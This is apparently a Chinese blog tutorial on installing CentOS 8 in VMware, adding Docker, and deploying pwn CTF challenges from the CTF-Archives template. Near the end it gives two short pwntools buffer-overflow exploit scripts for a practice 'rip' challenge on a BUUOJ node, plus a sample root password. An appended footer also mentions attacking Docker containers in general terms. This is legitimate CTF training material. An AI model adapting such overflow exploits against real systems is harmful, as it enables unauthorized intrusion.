从零开始部署CTF题目环境(docker容器)

本教程将教会大家如何安装一台可以部署docker容器形式的CTF题目的CentOS服务器。

操作步骤

1-下载操作系统镜像文件

虚拟操作系统:CentOS 8  (CentOS 9 毛病多,先不装)

镜像文件下载地址,点击X86_64即可

CentOS Stream

选一个下载快的,我选的清华 ,下那个12.2G的

下载得到

2-创建CentOS 虚拟机

VMware WorkStation点击创建新的虚拟机

选择典型即可

选择第二项,并指定你下载好的镜像文件

指定一下虚拟机名称,存放位置也改一下

50GB(只是后期不想扩容,20GB也行)

 自定义硬件,按照自己配置来,内存拿一半吧

自定义一下硬件,不然默认配置会很慢。内存取电脑一半,处理器1  内核4

第一次启动会有点久

3-安装CentOS 8系统

ctrl+alt+回车 切换全屏,选择简体中文!

配置Root密码

 密码为Rotten2023 ,点击完成

创建新用户centos

时间和区间设为上海

安装目的地点进去,然后退出来就行

没有报错,点击开始安装,时间可能会有点久

4-CentOS 换源

CentOS8 更改YUM源_centos8更换yum源-CSDN博客

换好后

yum update

5-安装docker

安装所需的软件包以允许 dnf 使用存储库通过 HTTPS 下载软件包:

sudo dnf install -y dnf-utils device-mapper-persistent-data lvm2

添加 Docker 存储库:

sudo dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo

安装docker引擎

sudo dnf install -y --allowerasing docker-ce docker-ce-cli containerd.io


启动docker服务

sudo systemctl start docker

设置开机自启(可选)

sudo systemctl enable docker

验证安装情况

sudo docker run hello-world

本地没镜像,报错 ,可使用以下指令手动拉取(默认自动下载,但我这里卡住了,所以手动拉)

sudo docker pull hello-world

 OK了

6-docker换源

Docker安装及镜像源修改_更换docker镜像源-CSDN博客

如果发现那个nano编辑器用不来,可以看这个

CentOS下nano编辑器使用教程_centos 中noao 怎么用-CSDN博客

7-题目docekr部署 

借助巨魔的CTF靶机模板

GitHub - CTF-Archives/ctf-docker-template: Deployment template for docker target machine in ctf for CTFd and other platforms that support dynamic flags

先安装git,root用户

yum install git

 拉取项目

git clone 项目网址

PWN篇

取出一个模板,替换src中的二进制文件 

默认文件名为attachement,如需替换,需修改配置文件

替换好之后,这个目录下打开控制台

docker compose up -d

如果没设置IP, 或者忘了

查看容器列表

docker ps

 查看指定容器IP

docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' 1397af75dab3   #最后的是容器ID

就会自动构造image并运行docker容器,nc测试

注意,我用的是rip的题目文件,由于版本升级,可能wp要参考新版本的

旧版本无法打通

from pwn import * 

p=remote('node4.buuoj.cn',27036)

payload=b'a'*(15)  + p64(0x401186)

p.sendline(payload)

p.interactive()

加了中堆栈平衡的题解

from pwn import * 

#context(os='linux', arch='amd64', log_level='debug')

p=remote('node4.buuoj.cn',29110)

payload=b'a'*(23) + p64(0x0401016)  + p64(0x401186)

#p.recvuntil("please input\n")

p.sendline(payload)

p.interactive()

这是2023年第三次尝试自己搭建pwn环境,前两次均以失败告终,这次,在诸位大佬和群友的帮助下,终于得以完成。博主太菜了,给大家带来了麻烦,希望这篇博客能帮助大家更好的上手题目环境的搭建。

 本次学习需要由衷感谢以下几位大佬的支持

CTF-Archives开发者-感谢大大们的模板

华为大佬-协助docker问题解决

身份信息隐藏

Rotten战队交流群群友-顶级pwn手-解决脚本问题

还有许多篇博客的编写者

祝愿CTF-Archives项目越做越好,加油!

  • 20
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
ctfweb题目"docker镜像"是指一个挑战题目,要求我们对一个Docker镜像进行分析和攻击。Docker是一种容器化技术,可以将应用、环境和关联的配置打包成一个独立的镜像。这个镜像可以在不同的环境中进行移植和运行。 对于这个ctfweb题目,我们可以首先通过命令"docker images"查看当前系统中的Docker镜像。然后,我们可以选择这个题目中的特定镜像进行分析,使用"docker inspect [镜像ID]"命令获取有关镜像的详细信息。 接下来,我们可以尝试在本地使用这个镜像来运行一个容器。可以使用"docker run [镜像ID]"命令创建一个新的容器实例,并根据题目给出的提示找出容器内的漏洞、文件、服务等信息。 从容器内部提取敏感信息的常见方法包括查找配置文件、访问数据库、分析日志文件等。另外,在容器中也可以进行一些命令执行、代码注入等漏洞利用操作,以获取更高的权限和更深入的信息。 此外,我们还可以使用一些常见的Docker安全工具,比如Docker Bench for Security、Clair、Trivy等来对容器进行漏洞扫描,识别潜在的安全问题,并找出可能存在的弱点。 当我们找到容器内的漏洞或弱点时,我们可以根据具体情况进行利用或编写脚本进行自动化攻击。在攻击过程中,我们应该遵循道德规范,不进行未授权的攻击行为。 总之,ctfweb题目"docker镜像"需要我们对Docker容器进行分析和攻击,通过理解镜像的构成和原理,掌握Docker相关的命令以及使用一些安全工具,我们可以更好地解决这个题目并获得相应的分数。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

予我心安A3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值